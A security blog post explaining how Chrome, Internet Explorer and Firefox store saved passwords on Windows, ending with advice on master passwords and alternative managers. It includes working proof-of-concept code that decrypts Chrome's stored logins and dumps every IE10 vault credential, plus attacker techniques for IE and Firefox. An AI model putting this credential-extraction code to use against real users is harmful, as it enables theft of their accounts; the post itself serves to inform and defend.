How Browsers Store Your Passwords
Introduction
In a previous post, I introduced a Twitter bot called dumpmon which monitors paste sites for account dumps, configuration files, and other information. Since then, I've been monitoring the information that is detected. While you can expect a follow-up post with more dumpmon-filled data soon, this post is about how browsers store passwords.
I mention dumpmon because I have started to run across quite a few pastes like this that appear to be credential logs from malware on infected computers. It got me thinking - I've always considered it best to not have browsers store passwords directly, but why? How easy can it be for malware to pull these passwords off of infected computers? Since sources are a bit tough to find in one place, I've decided to post the results here, as well as show some simple code to extract passwords from each browser's password manager.
The Browsers
For this post, I'll be analyzing the following browsers on a Windows 8 machine. Here's a table of contents for this post to help you skip to whatever browser you're interested in:
Chrome 27.0.1453.110
IE 10
Firefox 21.0
Logos by Paul Irish
Chrome
Difficulty to obtain passwords: Easy
Let's start with Chrome. Disappointingly, I found Chrome to be the easiest browser to extract passwords from. The encrypted passwords are stored in a sqlite database located at "%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data". But how do they get there? And how is it encrypted? I got a majority of information about how passwords are stored in Chrome from this article written over 4 years ago. Since a bit has changed since then, I'll follow the same steps to show you how passwords are handled using snippets from the current Chromium source (or you justskip straight to the decryption).
Encryption and Storing Passwords
When you attempt to log into a website, Chrome first checks to see if it was a successful login:
We can see that if it's a successful login, and you used a new set of credentials that the browser didn't generate, Chrome will display a bar asking if you want your password to be remembered:
To save space, I'm omitting the code that creates the Save Password bar. However, if we click "Save password", the Accept function is called, which in turn calls the "Save" function of Chrome's password manager:
Easy enough. If it's a new login, we need to save it as such:
Again to save space, I've snipped a bit out of this (a check is performed to see if the credentials go to a Google website, etc.). After this function is called, a task is scheduled to perform the AddLoginImpl() function. This is to help keep the UI snappy:
This function attempts to call the AddLogin() function of the login database object, checking to see if it was successful. Here's the function (we're about to see how passwords are stored, I promise!):
Now we're getting somewhere. We create an encrypted string out of our password. I've snipped it out, but below the "sql::Statement" line, a SQL query is performed to store the encrypted data in the Login Data file. The EncryptedString function simply calls the EncryptString16 function on an Encryptor object (this just calls the following function below):
Finally! We can finally see that the password given is encrypted using a call to the Windows API function CryptProtectData. This means that the password is likely to only be recovered by a user with the same logon credential that encrypted the data. This is no problem, since malware is usually executed within the context of a user.
Decrypting the Passwords
Before talking about how to decrypt the passwords stored above, let's first take a look at the Login Data file using a sqlite browser.
Our goal will be to extract the action_url, username_value, and password_value (binary, so the SQLite browser can't display it) fields from this database. To decrypt the password, all we'll need to do is make a call to the Windows API CryptUnprotectData function. Fortunately for us, Python has a great library for making Windows API calls called pywin32.
Let's look at the PoC:
from os import getenv
import sqlite3
import win32crypt
# Connect to the Database
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
# Get the results
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
# Decrypt the Password
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
if password:
print 'Site: ' + result[0]
print 'Username: ' + result[1]
print 'Password: ' + password
view rawchrome_extract.pyThis Gist brought to you by GitHub.
And, by running the code, we see we are successful!
While it was a bit involved to find out how the passwords are stored (other dynamic methods could be used, but I figured showing the code would be most thorough), we can see that not much effort was needed to actually decrypt the passwords. The only data that is protected is the password field, and that's only in the context of the current user.
Internet Explorer
Difficulty to obtain passwords: Easy/Medium/Hard (Depends on version)
Up until IE10, Internet Explorer's password manager used essentially the same technology as Chrome's, but with some interesting twists. For the sake of completeness, we'll briefly discuss where passwords are stored in IE7-IE9, then we'll discuss the change made in IE10.
Internet Explorer 7-9
In previous versions of Internet Explorer, passwords were stored in two different places, depending on the type of password.
Registry (form-based authentication) - Passwords submitted to websites such as Facebook, Gmail, etc.
Credentials File - HTTP Authentication passwords, as well as network login credentials
For the sake of this post, we'll discuss credentials from form-based authentication, since these are what an average attacker will likely target. These credentials are stored in the following registry key:
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
Looking at the values using regedit, we see something similar to the following:
As was the case with Chrome, these credentials are stored using Windows API function CryptProtectData. The difference here is that additional entropy is provided to the function. This entropy, also the registry key, is the SHA1 checksum of the URL (in unicode) of the site for which the credentials are used.
This is beneficial because when a user visits a website IE can quickly determine if credentials are stored for it by hashing the URL, and then using that hash to decrypt the credentials. However, if an attacker doesn't know the URL used, they will have a much harder time decrypting the credentials.
Attackers will often be able to mitigate this protection by simply iterating through a user's Internet history, hashing each URL, and then checking to see if any credentials have been stored for it.
While I won't paste the entire code here, you can find a great example of a full PoC here. For now, let's move on to IE10.
Internet Explorer 10
IE10 changed the way it stores passwords. Now, all autocomplete passwords are stored in the Credential Manager in a location called the "Web Credentials". It looks something like the following:
To my knowledge (I wasn't able to find much information on this), these credential files are stored in %APPDATA%\Local\Microsoft\Vault\[random]. A reference to what these files are, and the format used could be found here.
What I do know is that it wasn't hard to obtain these passwords. In fact, it was extremely easy. For Windows Store apps, Microsoft provided a new Windows runtime for more API access. This runtime provides access to a Windows.Security.Credentials namespace which provides all the functionality we need to enumerate the user's credentials.
In fact, here is a short PoC C# snippet which, when executed in the context of a user, will retrieve all the stored passwords:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Windows.Security.Credentials;
namespace PasswordVaultTest
{
class Program
{
static void Main(string[] args)
{
// Create a handle to the Widnows Password vault
Windows.Security.Credentials.PasswordVault vault = new PasswordVault();
// Retrieve all the credentials from the vault
IReadOnlyList<PasswordCredential> credentials = vault.RetrieveAll();
// The list returned is an IReadOnlyList, so there is no enumerator.
// No problem, we'll just see how many credentials there are and do it the
// old fashioned way
for (int i = 0; i < credentials.Count; i++)
{
// Obtain the credential
PasswordCredential cred = credentials.ElementAt(i);
// "Fill in the password" (I wish I knew more about what this was doing)
cred.RetrievePassword();
// Print the result
Console.WriteLine(cred.Resource + ':' + cred.UserName + ':' + cred.Password);
}
Console.ReadKey();
}
}
}
view rawie_extract.csThis Gist brought to you by GitHub.
When executing the program, the output will be similar to this:
Note: I removed some sites that I believe came from me telling IE not to record. Other than that, I'm not sure how they got there.
As you can see, it was pretty trivial to extract all the passwords in use from a given user, as long as our program is executing in the context of the user. Moving right along!
Firefox
Difficulty to obtain passwords: Medium/Very Hard
Next let's take a look at Firefox, which was tricky. I primarily used these slides (among a multitude of other resources) to find information about where user data is stored.
But first, a little about the crypto behind Firefox's password manager. Mozilla developed a open-source set of libraries called "Network Security Services", or NSS, to provide developers with the ability to create applications that meet a wide variety of security standards. Firefox makes use of an API in this library called the "Secret Decoder Ring", or SDR, to facilitate the encryption and decryption of account credentials. While it may have a "cutesy name", let's see how it's used by Firefox to provide competitive crypto:
When a Firefox profile is first created, a random key called an SDR key and a salt are created and stored in a file called "key3.db". This key and salt are used in the 3DES (DES-EDE-CBC) algorithm to encrypt all usernames and passwords. These encrypted values are then base64-encoded, and stored in a sqlite database called signons.sqlite. Both the "signons.sqlite" and "key3.db" files are located at %APPDATA%/Mozilla/Firefox/Profiles/[random_profile].
So what we need to do is to get the SDR key. As explained here, this key is held in a container called a PKCS#11 software "token". This token is encapsulated inside of a PKCS#11 "slot". Therefore, to decrypt the account credentials, we need to access this slot.
But there's a catch. This SDR key itself is encrypted using the 3DES (DES-EDE-CBC) algorithm. The key to decrypt this value is the hash of what Mozilla calls a "Master Password", paired with another value found in the key3.db file called the "global salt".
Firefox users are able to set a Master Password in the browser's settings. The problem is that many users likely don't know about this feature. As we can see, the entire integrity of a user's account credentials hinges on the complexity of chosen password that's tucked away in the security settings, since this is the only value not known to the attacker. However, it can also been that if a user picks a strong Master Password, it is unlikely that an attacker will be able to recover the stored credentials.
Here's the thing - if a user doesn't set a Master Password, a null one ("") is used. This means that an attacker could extract the global salt, hash it with "", use that to decrypt the SDR key, and then use that to compromise the user's credentials.
Let's see what this might look like:
To get a better picture of what's happening, let's briefly go to the source. The primary function responsible for doing credential decryption is calledPK11SDR_Decrypt. While I won't put the whole function here, the following functions are called, respectively:
PK11_GetInternalKeySlot() //Gets the internal key slot
PK11_Authenticate() //Authenticates to the slot using the given Master Password
PK11_FindFixedKey() //Gets the SDR key from the slot
pk11_Decrypt() //Decrypts the base64-decoded data using the found SDR key
As for example code to decrypt the passwords, since this process is a bit involved, I won't reinvent the wheel here. However, here are two open-source projects that can do this process for you:
FireMaster - Brute forces master passwords
ffpasscracker - I promised you Python, so here's a solution. This uses the libnss.so library as a loaded DLL. To use this on Windows, you can use these cygwin DLL's.
Conclusion
I hope this post has helped clarify how browsers store your passwords, and why in some cases you shouldn't let them. However, it would be unfair to end the post saying that browsers are completely unreliable at storing passwords. For example, in the case of Firefox, if a strong Master Password is chosen, account details are very unlikely to be harvested.
But, if you would like an alternative password manager, LastPass, KeePass, etc. are all great suggestions. You could also implement two-factor authentication using a device such as a YubiKey.
As always, please don't hesitate to let me know if you have any questions or suggestions in the comments below.
0 comments:
Post a Comment